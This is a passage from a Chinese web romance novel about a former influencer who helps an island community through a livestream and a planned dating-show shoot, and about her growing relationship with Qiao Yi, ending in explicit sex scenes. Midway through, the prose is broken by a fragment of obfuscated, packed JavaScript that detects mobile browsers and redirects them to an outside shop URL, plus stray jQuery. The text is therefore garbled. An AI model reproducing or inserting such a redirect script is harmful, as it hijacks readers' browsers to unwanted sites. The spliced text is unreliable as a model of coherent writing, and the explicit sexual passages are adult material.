“自从乔老师来到岛上,不仅为我们家争取了上学的机会,创造了读书的环境,就连给她看病的费用都是他一直在帮衬着,不然各项做手术的开销,我们家哪里承受的起。佟老板一家更是没得说,孩子爸爸常年要在外打工,她这种情况,我又离不开身,只能寸步不离地守在岛上照顾她。佟老板夫妻俩体谅我的难处,收我在民宿做前台,哪怕我三天两头就要请假,带着孩子往市里的医院跑,他们也从没跟我计较过。这份恩情,我真是无以为报。”瞿阿姨只是提起这些眼眶已然通红,“偏偏这回也是不赶巧,孩子做分指手术正好撞上老板娘做透析的时间,前几天我跟老板娘都不在,全靠乔老师过来替我顶班,不然这暑假里客人多,店里只剩佟老板一人,哪忙得过来。”
说着,瞿阿姨的目光不自觉地飘向了不远处,佟光正同平时一样,弯着腰,麻利又熟练地将餐厅里散乱的桌凳一一归放整齐。
见此情景,她的声音又不由自主地沉了下去,带着几分对现实的无奈。
“他们夫妻俩守着这家民宿也不容易,老板娘身体一直不好,每次去透析都是来回折腾,罪没少受。这回复查指标说是不太理想,直接被医院留下来进一步治疗,佟老板这么些天也是得空就要往市里跑,两人还一直在等合适的肾源。乔老师为了老板娘换肾的事更是费尽了心思。”她眼底掺杂着化不开的惆怅,语气中的愁绪,一半为深陷病痛的老板娘,一半也为在生活泥泞中苦苦挣扎的自己。
“也不知道这种遥遥无期的日子什么时候能是个头。”
瞿阿姨所陈述的这些事实,如同一个个细腻铺展的细节,令佟光故事中的模糊片段,再次变得具体而鲜活,让麦初心头更为震撼。
为何自她上岛一直没能见到佟光的母亲,为何佟老板时常见不到人影,为何乔翊总是一人顶几个人用,忙起来像个连轴转的陀螺,所有答案都已静静地浮出水面,不言而喻。
“为了改造这座小岛,乔老师早就倾尽了所有,可岛上连年的亏损,就像一道深不见底的沟壑,难以填平,偏偏他还要分出大半精力,照顾我们这些家长里短的琐碎事,他一度想保住李奶奶果园,可这些年压在他身上的担子实在太重,无力再去承受那么一大片的土地收购了……岛上这一桩桩、一件件事,都是压在他身上的拖累。”瞿阿姨情到深处,声音不禁哽咽了起来。
眼看瞿阿姨这样,麦初心底那股刚刚按捺下去的酸楚,也再次蠢蠢欲动,伺机着卷土重来。
随着在岛上结识的人越来越多,她对乔翊的认知便会多一分深刻,而随着那些被他照亮的过往,如画卷般在她面前缓缓展开,每多一分细节,添一笔温度,她便愈发觉得自愧不如。
她忍不住去想,倘若换做是她,是否能拥有他那份十年如一日的坚持,更不必说那份孑然一身,一往无前的孤绝勇气。
……
回到房间,这一夜,注定难眠。
麦初在床榻上辗转反侧,思绪如潮,久久难平。
连手机的震动声,都成了扰乱她心绪的罪魁祸首。
她摸过手机,发现有两条消息竟同时抵达屏幕。
一条来自于乔翊。
乔:【直播的事已谈妥】
另一条来自姝言。
【所以这位蒙面哥才是你的菜?】并附上一个链接。
麦初随即点开,手机界面瞬时跳转至短视频平台。
一个视频弹开,竟然是她回归直播那天,乔翊意外闯入她镜头的一个录屏片段。
画面中,原有的平静忽而被一场毫无预兆的闯入打破,麦初蓦然回首,与口罩掩面、帽檐极低的乔翊就此相遇,两道视线猝然交汇。
一边是松弛中暗藏锋芒的痞冷,一边是游离状况之外的手足无措。两种截然不同的情绪,在小小镜头的中,无声地交织碰撞,迸发出极具张力的视觉反差,又在朦胧氛围感的层层晕染下,意外造就了一幅满是宿命感的纠缠画面。
这段“神仙”画面在粉丝们鬼斧神工的裁剪下,精心制作做成慢镜头循环播放发布在网上,还特意配上关键词:一眼万年。
此时此刻,作为主角之一的麦初,看着视频下上万的评论与点赞,当即傻了眼。
23. 23
当事人在傻眼,姝言却是难掩兴奋。
要说起来,她也算麦初的忠实铁粉。麦初在各大社交平台的账号,都被她设为了特别关注。毕竟她这个被繁重工作缠得脱不开身的社畜,心底也极度向往着诗与远方,但凡得空,她也会像久居水底的小鱼浮出水面一般,需要靠着麦初的视频汲取片刻的新鲜氧分,久而久之,麦初的动态都会自动更新在她的账号首页,即便后来麦初与公司彻底闹僵,账号停更已久,也并不影响她的相关讯息被大数据精准捕捉到后,继续推送到姝言的眼前。
不过这次距离视频发布已经过去了两天,姝言现在才刷到,只恨网速不够快。
【这都是粉丝一时兴起瞎剪着玩的,网友也就是凑合热闹看个新鲜,热度持续不了几天就散了】
麦初疯狂打字的同时还是有些意外,她这个停更两年之久的过气网红,短短一场复出直播的录屏,居然还能在网络翻起水花来。
关键当时的混乱场面经过粉丝们的剪辑加上bgm配音的二次创作,这么一捣腾,不明真相的人看起来还真像那么回事。
“散什么散?绝对不能散!”姝言发来语音,言语中满是按捺不住的激动,“我说你是不是太久不玩网络连反应都变迟钝了?你要是还想复出吃互联网这碗饭,就得牢牢抓住热度不放,现在现成的热度都送上门来了,你还不赶紧抓住就地取材好好利用?这可是组cp吸粉千载难逢的好机会啊!”
麦初明明很清楚彼时两人再清白不过,可这段暧昧视频再配上姝言的胡言乱语,让她不由得面红耳赤起来。
她噎了一口气,反问姝言,“你是不是做恋综忙傻了,现在满脑子都是组cp?”
提到恋综,姝言也来了劲,跟她就此大讲特讲了起来。
“首先,cp这种东西是有一定玄学成分在的,那可不是随便凑对cp都能合广大网友眼缘加吸到粉的ok?不然我们做恋综何必大费周章地去物色嘉宾,直接到大街上拉个一男一女凑一对不就完完事了?还省得我们给他们做背调、面试,各项环节策划这么久。”她又用媒体人的身份举了个更直白地例子,“再说得通俗易懂点,市场上这么多青春偶像剧,明明男女主单拎出来颜值都在线,可有的cp就能爆火出圈,有的cp偏偏观众不买账,这就叫化学反应。再简单粗暴点,你跟这蒙面哥,你俩但凡换一个人,这条视频都火不了,但偏偏现在就你俩有观众缘,说白了,火不火三分靠人为,七分天注定,都是命,就活该你俩火,懂吗?”
“不懂。”麦初故意跟她唱着反调。
炒CP不仅是娱乐圈的惯用营销手段,更是他们网红圈变现较快、推达人性价比较高的渠道之一,MCN公司更是深谙此道,也更擅长打造情侣账号,在一套套剧本下,网红“情侣”靠着不亚于演戏的精湛演技不停地给网友发糖、嗑CP,迅速吸粉圈钱。
可这种利益捆绑的背后,却隐藏着极高的塌房翻车风险,太多网红因此反目成仇,落得两败俱伤,口碑尽输的下场。
麦初就是太懂这其中的猫腻,才不想利用这波热度去做文章,更不忍将那般纯粹善良的乔翊,牵扯进网络这潭深不见底的大染缸内。
“你真的是聪明一世糊涂一时!”姝言恨铁不成钢地说道,“现在这视频底下除了磕cp,大家最关心的问题就是你的摄背景在哪里,我甚至都在琢磨,如果我们把恋综拍摄地就定在这座岛,你再趁热打铁利,借着这波热度跟这位蒙面哥一起参加我们这档恋综,到时候可谓天时地利人和……”姝言越说越兴奋,就差拍大腿了,“以我的经验,不光你俩能火,连这座小岛都能跟着带火,信不信?”
殊不知自己的信誓旦旦却一语惊醒了梦中人。
麦初的思绪被一击即中,她握紧手机,急于确认,“你是说……你们恋综的拍摄地可以选在这座小岛?”
“可以作为候选地之一。”乾坤未定,这会儿姝言也不敢打包票,但身位这档综艺的编导,很多工作上的抉择她享有一定的话语权。
“你之前不是提过那岛位置偏僻,客流量不多?这种地方对我们来说做综艺拍摄地再适合不过了,既利于我们管控拍摄现场,也方便及时清场游客,而且海边本身就是一个具有烘托浪漫和暧昧氛围的天然场所,沙滩、玻璃海、鲜艳的三角梅,全都是现成的绝佳背景,我们恋综要的就是这档子效果,你的这条出圈视频就是最好的佐证。”
姝言的一席话,瞬间点醒了麦初一筹莫展的思路,一条适合小岛发展的路径,似乎正在眼前徐徐浮现。
这一夜,在先后经过与佟光、瞿阿姨的交谈,她早已思绪万千,如何才能拯救这座濒临再次衰败的小岛,让那些赖以生存的岛民们继续守住生计、安稳度日的念头一直盘桓在脑中挥之不去。
早年在她流量的鼎盛时期,或许还能借助自己在网络上的的号召力为小岛引流,然而受竞业协议束缚的这两年里,新人迭代起伏,她的热度早已不复从前。这次复出虽因那条录屏意外获得关注,但她深知其中凑热闹的围观者众多,也恐怕被有心人解读为复出前的预热炒作,反会为小岛惹来非议,而且单纯的网红宣传方式对网友而言早已失去了最初的新鲜感,届时只会被认为有商业营销的成分在,小岛很难实现真正意义上的推广。
但如果是姝言的项目能作为媒介加持,主流媒体不同于纯网络的纷繁复杂,一切将会变得不一样。
只要姝言负责的这档恋综顺利播出,无论反响如何,节目热度都会将这座籍籍无名的小岛带入大众视野,不仅能给夏安岛带来直观曝光度,快速提升名气,更能让观众在猎奇心的驱使下纷纷来到小岛上打卡,切实地实现引流获客,相比其他渠道,这无疑是当下最快捷高效的宣传方式。
“不过……”
只是麦初刚看到一丝峰回路转的希望,姝言一个欲言又止的迂回,让她的心一瞬间又跟着飘忽了起来。
她紧追不舍,“不过什么?”
“我们需要一个场地作为男女嘉宾们的‘心动小屋’,这个地方呢,既得风景优美适合取景,还得有足够的空间可供男女嘉宾入住,同时又要方便我们导演组全程跟踪拍摄,最好还有独立的厨房和宽敞的餐厅,毕竟之后每天要容纳十几号人呢。”姝言说出自己的顾虑,“就怕这小岛上找不到这种全方面都契合我们需求的场地。”
麦初双眼一亮,在姝言话音刚落的那一瞬间,几乎是不假思索地脱口而出。
“有!”她甚至是急不可耐,生怕被人抢占先机似地说道,“有的!不用你们找,这儿现成的就有一个,绝对符合的你们节目组的所有要求,不信你来看!”
麦初这番据理力争的模样,与此前在果园中为她担保许诺的乔翊别无二致,二人竟不谋而合地隔空共鸣,遥遥同频。
此时,视频中的男主角还浑然不知,自己因感冒而佩戴口罩的寻常之举,竟意外被镜头捕捉出经典神图,正是这朦胧的神秘感,在网友们的脑补发酵下,正将他推上网络热潮,成为全网瞩目的焦点,更与女主角麦初就此绑定,成为众人眼中无可替代的绝佳cp,就连那海边的惊鸿一瞥,也被奉为“世间最伟大的一见钟情”。
仿佛自悬崖下玻璃海的初遇开始,两人的命运便被一根无形绳线缠绕,于冥冥之中牵引着彼此走向不断交织的轨迹。
而他更无从预见的是,就在这一夜之间,一个念头已在麦初心中扎根,这份悄然成形的计划,将成为引领夏安岛翻开全新篇章的序幕。
最终,在乔翊的助力下,麦初的首场助农直播得以顺利开启。
当她褪去过往浮华旧影,头戴草帽,一身素衣,以最质朴的助农主播形象空降直播,全网毫无预兆地沸腾了,评论区瞬间炸开了锅。
直播间弹幕疯狂刷屏,留言铺天盖地,熙攘喧哗中各种声音纷至沓来,一时间喝彩与嘲讽交织,成为一片混沌的战场。
伫立于声浪的中央的麦初,任由自己汇焦于万道目光中,那份由时光磨砺馈赠的从容坚毅,是她重获新生的铠甲,她沉静面对着眼前的一切,坦然接纳着屏幕里纷涌而至的所有喧嚣与审判。
她已尝过巅峰跌落谷底的失重,经历过至亲永别的剧痛,也承受过铺天盖地的恶意,正是这些,将她重塑得坚不可摧。两年后的回归,无论屏幕那端涌来的是鲜花掌声还是利箭嘲笑,她都已无所畏惧。
如果网友眼中关于她的,所谓好与坏的过往,那些关注度能汇聚成流量真正帮助到这次助农行动,那么她想,她曾经存在于网络的意义便在此刻有了价值。
——
“于这里的岛民而言,它不仅仅是一枚果实,更是携着那海风中清甜与微咸,带来最诚挚的问候的盛夏信使。每一口的甜美,都蕴藏着阳光的温柔与大海的呼吸。
如若这份风的低语,海的印记,能够跨越山海,不远万里馈赠于你,便是这座小岛莫大的荣幸。”
……
她心无旁骛地将所有纷扰杂音隔绝于屏幕之外,把全部焦点倾注于无花果的呈现,言谈间分寸拿捏得当,进退有度,也将夏安岛的草木烟火,不动声色地融进了话语间。
这场没有脚本,没有打光灯,没有团队的直播,仅凭一杆支架,一部手机与麦初的即兴发挥,她便单打独斗扛起了整场。
作为发生在小岛上的第一场直播,岛民们揣着好奇纷纷前来果园围观捧场。对直播并不熟悉的他们,只能从直播间的人数上获取最直观的判断,眼看直播间的在线人数节节攀升,从几百到几千最终破万,他们的心态也从最初的疑虑,转为惊讶,最后叹为观止。
自始至终安静的只有乔翊,他默默守在一旁,密切关注着麦初直播时的一举一动,他能敏锐洞悉她每一个疲倦的眼神,精准捕捉她每一个不易察觉的手势,早就备在一侧的温水与食物总能在恰好的时刻被轻轻递送上,成为这片战场中,她最坚实有力的支撑。
期间眼神的匆匆交汇,他从中递来的无声鼓励,未发一语便已胜过千言。
这份心照不宣的默契,让麦初清晰感知到,自己并不是在孤身奋战,而是有他一直同频共振,并肩作战。
连麦初自己都没有预料到,这场条件堪称简陋、全靠自来水流量的直播,竟然很快地引爆了热度,直播间人数居高不下,下单成交额更是直接爆单。
原定六小时的直播时长,仅一小时便将李奶奶果园的库存一扫而空,面对这远超预期的场面,麦初不得不带着歉意宣告售罄,随后紧急下播。
直播的戛然而止,让在场不明真相的众人一时摸不着头脑,他们面面相觑,一头雾水。
李奶奶的儿子更是急吼吼地挤在了人群的最前面,“哎不是。”他懵头懵脑地发问,“姑娘,怎么个事?不是说好的第一场要播足足六个小时吗?这才一个小时你怎么就不播了啊?”
而麦初却迟迟没有回应。
此时她宛如一个刚谢幕的演员,上一秒她还还沉浸在舞台上的光影之中,下一秒便抽身重回现实,虚实交错间,心神恍惚,真假难辨。
直到目光落向直播间的后台,那些清晰跳动的数字赫然在目,确凿地击碎了缥缈的虚幻感,有力印证了一切的真实存在,她才顿觉如释重负,憋着劲的一口气长长地舒了出来。
或许是紧绷的弦忽然松开,已经游离在镜头之外的麦初只觉身体被掏空,近乎虚脱般的累让她急需一个支点来稳住摇摇欲坠的自己。
“你怎么样?还好吗?”
也是这时,一只手稳稳地扶在了她的背后。
是乔翊,带着他那宽厚温热与不容置疑的力量给了她一份急需的依靠。
正如初遇那天,在悬崖边,她突遇猴子胆怯退缩,他也是这样有条不紊地托住她的慌乱,稳稳护住了她。
他好像总能在她最需要的时候及时出现。
所以,他就是这个世界上“心软的神”,对吗?
日光灼灼,麦初定定地望了他许久,明明朝夕相处了多日,仿佛直至此刻才算真正与他相识。
佟光的那晚的故事依稀还在耳畔回响,一字一句轻叩心扉,直抵麦初那最柔软的角落,直到他掌心的温度带来一股不同以往的别样悸动,在她心口不断翻涌而上,愈发炽热滚烫,她眼眶也不觉为这个善良的傻瓜再度泛起了红。
乔翊只当她是面朝太阳,被晒灼了眼,不知从哪儿徒手变出一把竹编扇,替她挡在头顶遮住烈日。
“赶紧去休息,别中暑了。”
见麦初不为所动,他轻唤她的名字。
“麦初?”
她这才被他的声音牵引着,渐渐拉回了神思。
“乔翊……”麦初唇瓣微微翕张,似有话要说,可到了嘴边又润物细无声地咽了下去。
周遭喧闹,乔翊以为是自己没听清,他俯身倾听,温热的呼吸几乎拂过她唇角,气息轻拂间,一声轻询落得极近。
“嗯?”
“我说姑娘诶!”
偏偏这时,李奶奶的儿子火急火燎地闯进他们所在的区域,打破了一切,只为寻求麦初匆匆下播的答案。
“你怎么突然不播了啊?不是说好六个小时的吗?”
李奶奶的儿子心急之下,不自觉地凑到他们跟前,一副恨不得要贴上来的架势。
乔翊几乎是本能地将麦初往身后一揽,自己侧身挡在了中间,一道无声却分明的界线,就这样隔开了这突如其来的靠近,形成了一道安全屏障。
“后台已经显示爆单了,再不下播就超卖了,到时候货发不出去,会出大问题。”一下回过神的麦初了解到他的着急,赶紧解释。
可惜对方跟她完全不在一个频道上,他还没听明白,“爆,单?爆单是什么意思?”
佟川一直站在不远处,对他刨根问底追问一直眉头紧皱,光听着都觉得费劲,直到这里,他实在忍无可忍地了动了动嘴皮,是个SB的口型,然后才插来一嘴,“意思就是,货已经全卖光了,你家无花果全卖光了,一颗不剩,听懂了吗?”
“卖,卖光了?”李奶奶儿子目瞪口呆,一脸的错愕地重新看向麦初,“这就卖光了,这么快?真的假的?”
只觉对牛弹琴的佟川懒得再多费口舌,他大步转身去帮还一无所知的李奶奶处理售后工作,只有麦初立马将手机递过去,手把手教李奶奶儿子如何去后台查看成交量和营业额。
当他看到清晰的数据支撑,意识到真正发生了什么事后,整个人才慢一拍地反应过来,激动地双手抱头开始语无伦次起来。
“哎呀我去!哎呀呀我去啊我去!”
然后他举着手机兴奋地在人群中高呼,“卖光了,全卖光了,我们成功了!成功了!”
在场的岛民们闻声一拥而上,淳朴的众人都为这场直播取得的成功由衷感到高兴,整个果园顷刻间被热烈的欢呼声所填满,经久不散。
不少人当场围上来,要向麦初请教直播教程,她都知无不言,详尽讲解。
之后她也顾不上休息,与乔翊佟川他们一道投入到无花果打包发货的忙碌中。
从上播到下播到处理订单,她一刻都未曾停歇,直到这充实紧凑的一天,随着渐沉的暮色徐徐落下帷幕,她好不容易才在李奶奶一家的千言万谢中脱身。
回到民宿时,麦初仍被白日里高涨的情绪与急转的画面所萦绕着,像海水退去后残留的细沙,沉湎于惊心动魄的后劲,还有那份难以置信的余潮之中。
她踏进浴室,当温热的水流漫过肌肤,她终于能在氤氲的湿气里,短暂地卸下这一日的高度紧张与疲惫。
也正是此时,目光所及之处,她看见肌肤上不知何时已布满蚊虫肆虐的痕迹,一个个红肿的鼓包遍布全身,在热水的冲刷下,蛰伏的氧意后知后觉地肆意蔓延开来。
它们泛滥成灾,奇痒无比,麦初只得匆匆结束淋浴,草草系上浴袍,急切去随身携带的包中翻寻驱蚊滚珠。
可翻找了许久都不见它的踪影,叮包在皮肤上阵阵发作,深受其害的麦初有些懊恼地抬手,将半湿的长发向后捋去,发梢还滴着水,胡乱擦过的痕迹明显,正湿漉漉地贴在颈边。
她蹙眉回想,慢慢记起当初在那家汽修店等车间隙中,驱蚊滚珠被她拿出来用过,后来大概是忙着和乔翊发消息确认车子的抵达时间,便顺手搁在了一旁,到离开都没再想起。
确认东西已丢,麦初大失所望地站在原地,身上被蚊子咬过的地方越发痒得钻心,她无可奈何,只好用手轻轻抓挠得到暂且的缓解。
这时,房门传来一阵轻叩声。
门外的人没等她问,声音便先透了进来。
“麦初,是我。”
白天,当众人都围绕着麦初欢呼雀跃直播的成功时,只有他留意到她脖颈和手背上那些红肿的鼓包。
岛上的蚊子不同于南方地区,它们天生毒辣,被叮咬后不仅刺痒难耐,严重时甚至会引发过敏。他刚来时也吃过不少苦头,荨麻疹折腾得人寝食难安,她初次上岛,他担心她也会那样受罪,所以一从果园回来,便特地拿了瓶青草膏,第一时间给她送了过来。
眼见在他敲响房门后,屋内毫无动静,只当她已经精疲力尽地睡着,他便不忍再打扰,打算将青草膏放在门口悄然离去。
只是在他俯身的一瞬,房门突然开了。
他直身抬眸,赫然怔住。
麦初正站在门前,裹着一身通用size的宽大浴袍,周身萦绕着温热水汽,湿漉的长发垂落在肩头,就这样毫无预兆地与他四目相抵。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182757|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>视线在落到她浴袍微敞的领口时,他握着青草膏瓶身的指尖收紧,眼睛迅速往旁边挪开,只有耳根不自觉隐隐泛起热意出卖了他。
“……还以为你睡了。”
他声音比平时低了几分,民宿走廊出奇的安静,明明这回两人周边不再有白天的杂音,可他的话像隔着一层潮润的薄雾,十分缓慢地漫进麦初耳道里。
走廊的灯光从他身后晕开,将他轮廓映得有些朦胧,麦初看见他微乱的发丝,肩头上沾染着夜晚露气,和纯白T恤下随着呼吸不断起伏的弧线。
他从果园疾驰着摩托车,一路快步来到她房前的画面也在她脑海中一一浮现。
没有再与她面对面的乔翊,那握着东西的手指也无意识地沿着物品形状摩挲着,最后在她面前摊开。
“白天看到你被蚊子咬到,用这个会好些。”
那泛着薄荷般清凉色泽的青草膏如雪中,就这样如雪中送炭地出现在她的眼前,就跟他这个人一样,又一次在她需要的时候从天而降。
“我正需要,谢谢。”
麦初伸出手,拿过那瓶青草膏,交接时,她的指腹轻柔地划过他的手心。
她的声音里带着一点沐浴后的微哑,还有未完全褪去的湿润。
乔翊收回的手在半空微微停顿,最终垂落身侧,空荡的指尖无意识地蜷了蜷后又插进裤袋,像是想寻个去处,不一会儿却又觉得多余,被他抽了出来,然后再被插进去再拿出来,短短几秒之间,上述动作他重复了三次。
走廊的灯光落在他低垂的睫毛上,拓出一小片的阴影。
“你今天很累,”少顷,他终于抬起眼,声音依旧很轻,“早点休息。”
刚要离开,却被麦初唤住。
“乔翊。”她往前挪了半步,浴袍的袖口随着动作微微滑落。
“能帮我个忙吗?”
乔翊不明所以,眼神中带着询问。
麦初抬手指了指自己的后背,耸着肩告诉他,“被蚊子咬了好多,我够不着。”
乔翊会意,这时耳根早已通红的他顿了顿,才重新伸手接过那盒小小的青草膏。
指尖相触的一瞬间,走廊另一头忽然传来门把转动的声音,是其他房客要出来的趋势。
随着对方开门动作的发生,乔翊第一时间扣住了麦初的肩,随后力道干脆地一把将她推回房间里。
这下意识的举动,连乔翊自己都不知道是什么体内在作祟,只是单纯地不想让她松松裹着浴袍的样子落入他人眼中。
由于事情发生的太快,麦初来不及反应,只是在他扣上自己的同时她也伸手拉住了他,就这样把他一起拉进了房间内,而仓促间带起的风,竟顺势把房门也带上了。
随着“咔哒”一声落响,门在身后关闭。
乔翊这才陡然意识到,自己贸然闯进了她的私人领域,灯光昏暖的房间里只剩下他们两人相对而立,满室的寂静却难掩孤男寡女的局促。
空气倏然稀薄,她身上独有的那抹初熟果实般的温润芬芳,早已随这几日的入住悄然灌进了房间的每个角落。一如初遇那日,海风裹着清甜扑面而来,她转身回眸的明媚,直直撞进他的眼底。
这缕气息似有若无地缠上鼻尖,他所有的感官开始觉醒,耳畔甚至能听见血液奔涌的温热的潮声,视线定格处,一滴水珠正悬在她微湿的发梢,缓缓凝聚,摇摇欲滴。
随着水珠的坠下,眼看着它沿着她纤长的颈线,滑入浴袍微敞的领口,悄然没入那片温软起伏的阴影之中。
他随之抬眸,视线再度与她交汇在一起,如同做了亏心事被抓包般地呼吸一窒,就此凝在喉间,都忘了喘气的动作。
好在这次麦初预判了他的预判,在他目光欲要躲闪的刹那,她的指尖轻轻抵住了他的下颌,动作很柔,却带着一丝不容退却的执拗。
她就那样将他即将偏离的视线,霸道地重新拽回自己的视野中。
“老躲什么?怕我吃了你?”
麦初睁着雾气朦胧的瞳仁望他,水波潋滟的眸子里映着一丝晃动的光晕,细看还承载着一个清晰得无处遁形的他。
他喉咙发干,苍白否认。
“没……”
“那就看着我。”
他便真的顺从,乖乖照做。
麦初望着他的眼睛,目光细细描摹他眼底每一寸神色,像在探寻什么。
可她越是这样靠近,乔翊越想仓惶而逃。
直到她出声,他才重新找回了一丝冷静。
“你对我的好,和对别人的好,是一样的吗?”
出于人性的贪婪和私心,麦初突然想要这世间独一份的好只属于自己。
乔翊摇头,声音低却清晰。
“你不一样……”
麦初继续向前贴上半步,逼近他。
“为什么?”
乔翊受不了地又想偏开眼,却被麦初再度伸手扳回,迫使他与自己对视。
此刻,连瓶盖都掩不住的薄荷味,她皮肤上残留的水汽,以及血液奔涌带来的隐隐潮热,交织成一张无形而细密的网,将两人牢牢困锁,无处可退。
时间在静默中被拉长,仿佛一场无声的对峙。
最终,乔翊低头认输。
“……喜欢。”
麦初还没有就此罢休。
“我是第几个?”
乔翊的喉结轻轻地滚动了一下。
“第一。”
套出真话的麦初却突然不说话了。
咫尺之间,空气静得发沉,交缠羁绊的鼻息也愈发浓烈。
而麦初不知道的是,乔翊的眼神也从中完成了蜕变,从起初的躲闪,到迷离的虚焦,再在某个临界点的倏然沉淀,演变成此刻那道具有实质性,趋于侵略性的目光。
这次轮到他不甘沉默了。
“你呢?”
这次换他追问。
“一样吗?”对我……
在他灼灼的注视下,麦初睫毛轻动,上面缀着的细碎水光随之摇晃,如星光坠湖,漾开阵阵涟漪。
乔翊任由那圈涟漪漫进自己眼底,沉溺其中,不知过了多久,才听她缓缓启唇。
“我也……”
这简短的两个字,已让乔翊了然,瞬间吞没了他的所有理智与绅士。
他低下头,不由分说地吻了下去,吞噬了她尚在喉间的话音。
她一开始就说错了,他总躲,并不是怕她会怎么样,而是畏惧自己那在荷尔蒙不断作祟下终将决堤的灼烫本能,最后彻底失控,就像现在这样。
青草膏噗通一声砸在地板上,落在了乔翊脚边,他随意动作挪动脚步,在衣料摩擦的间隙里,怕碍事地将它一脚踢开,药膏瓶贴着地面溜溜转了大半圈,最终暗自神伤地躲藏进了窗帘的背后。
走廊外隐约传来人声和脚步声,又渐行渐远。
屋子内,昏黄的灯光笼罩着两个贴近的影子,在墙上轻轻摇曳。
乔翊的手掌有力地托着麦初的后颈,指尖陷入潮湿的发间,温热的触感透过皮肤渗入,一寸一寸变得灼热。
与平日里那个冷静自持的他截然不同,他的带着侵入,没有初次的浅尝辄止,而是长驱直入地寻到她的舌,紧锁,勾缠,十分霸道。
她无意识地攥紧了他的衣角,指节微微发白,浴袍的系带不知何时松了,虚晃晃地垂落腰间。
乔翊轻而易举地剥出她的身体,宛如膜拜一件精致的艺术品,他用手呵护,用吻俯首称臣,灼热的呼吸如火苗般点燃她的每一处肌肤,从她的颈,她的肩,她的锁骨,最终停驻在那起伏的山峦之间,直至将她点燃,令她发红发烫。
拨开那温软的云层,滑过被蚊子叮咬的地方,麦初敏感地一颤,从喉间逸出一阵极轻的闷哼,腿刚要失力发软,乔翊的手臂已稳稳环住了她的腰,两人顺着这一揽的力道,双双倒向床畔。
几近疯狂的吻隙间,乔翊伸手拉开床头柜抽屉,迅速翻找,当手窸窣触到那方小的物件时,有一瞬恍惚,这曾在佟川提醒下才有的贴心服务,竟有一天还被他派上了用场,到头来居然还要多谢当初那个肯听劝的自己。
没有急于撕开,而是在细碎的吮吸中哑声问询。
“……麦初,可以吗?”
得到首肯后,他才再度覆身,深深吻住所有的柔软。
窗外海岛沉进深蓝夜色,远处潮声隐约,一波叠着一波,温柔漫向无际的岸。
而屋内,昏光犹在,两道身影紧紧相贴,再无半分间隙。
在灵魂交界的至深处,在意识沉沦的顶端,麦初将滚烫的呼吸埋进他的锁骨间,她气息温热而潮湿,随后紧贴在他的耳际,带着颤音柔柔地低吟出声。
“乔老师……”
24. 24
乔翊随之一僵,稍稍抽离后,抬手轻轻拂开她脸颊旁散落的头发。
“你都知道了?”
精疲力尽的麦初在他怀中点了点头。
乔翊:“佟光?”
麦初继续点头。
“他跟你,说了多少?”乔翊的指尖若有似无地轻挠着她的下巴,声音柔缓得像在哄睡。
麦初就像只猫一样驯顺地蜷在他的臂弯,她安然地蜷缩在他坚实的臂弯里,直到两人的气息在相拥中变得一致,却默不作声。
她不说,乔翊也不再追问,刚想问她要不要去洗个澡,她却蓦然撑着疲惫裹着被子坐起了身。
她试图拉高视线与他齐平,可他实在太高,即便是半躺着,她也难以够到,于是她一个翻身索性跨坐到他腰上,终于如愿以偿,能够与他平视。
乔翊不知她意欲何为,疑惑尚未出口,又被她抢先一步。
“那我们就重新认识一次吧。”她朝他伸出那只早被汗水沁满,正在昏光中微微发亮的掌心,旖旎暧昧的气氛中,她的神情却是无比郑重。
“乔老师你好,我是麦初,很高兴认识你。”
乔翊没有想到她会以这样的方式,与他重启相识。
他怔忡了片刻,有种被珍视的震动从胸口荡延开,最终,他也郑重地伸出手,稳稳握住了她汗湿的掌心,用着沙哑的声音同样认真地给出回应。
“你好,麦初,我是乔翊,我也……很高兴认识你。”
双手相触,握住的姿势却只持续了一秒,他借力将她一拉,又情难自禁地吻了上去。
麦初跌进他怀中,两人再次缠作一处,黏腻得再也化不开,喘息的间隙里,麦初将发烫的脸颊轻蹭过他敏感的锁骨,在耳鬓厮磨间发出一声低低的喟叹。
“乔老师的声音,很好听。”她气息不稳地做出注解,“我是说……那个声音。”
“……有多好听?”
乔翊的嗓音渐沉了下去,借着她的姿势,长臂一揽又将她重新捞起至身前,他托住她腿根,掌心贴着她紧实匀称的瓷肌,再稳稳扶住她那纤细的腰身,往下一按。
“这样?”
麦初仰起脖子,双手撑在他坚硬的胸膛,她起初还有些生涩的抗拒,因为这样坐着的姿势让她无所适从,身体的紧绷令她迟迟难以接纳全部。
“不行的乔翊,太……”
乔翊用吻封住她,d开头的尾音直接消失……
他也极有耐心,每一步都遵循着她的节奏,体贴地引导着她,用最轻柔的力道等她放松,层次打开,直到某一刻,她开始无意识地抬起手臂,勾住了他的脖颈索要,他这才顺着她的主动迎合,缓缓推进,最终严丝合缝地融为了一体温热的完整。
麦初浑身如过电般地绷紧,齿尖不自觉陷进下唇,在他的引领下,那紧绷的弦才一寸寸松缓下来,长发如打开的墨绸,垂散在他起伏的胸膛上。
墙面交叠晃动的影子轻摆,她的发丝像羽毛最尖的细梢,若有若无地搔刮在他的心口,挠起一阵难言的痒意,勾得他愈发浓烈的占有欲。
随着他一个突然发力,麦初抑制不住,从喉间逸出一声轻颤的呜咽。
他滚烫的胸膛紧随其后地贴了上来,性感的嗓音随即碾过她耳际,带着灼人的热气。
“你的声音……更好听。”
乔翊就像一头被困住太久,不知餍足的猛兽,将麦初这具猎物以各种姿势禁锢着,反复索求。
直到凌晨,麦初最后一丝力气都被他耗尽,意识涣散的她像一泓被月光漾得透亮的春水,软软地化开在他怀里,掌心,还有唇舌间,最后连吐息都轻得碎在交缠的唇齿中,再也发不出一点声音来。
待麦初沉沉睡去,乔翊才掀被下床,他毫无困意,只想去冲掉那黏腻的汗水,缓解一下浑身的湿意。
等重回房间,望着满室的狼藉,他静默地俯身,开始收拾。
落在地上的方块包装纸,他率先捡起,扔进了垃圾桶,覆盖在了被他打结的四个橡皮圈上。
他决定从明天开始,让佟川每个房间至少放一盒的量,以供房客的不时之需。
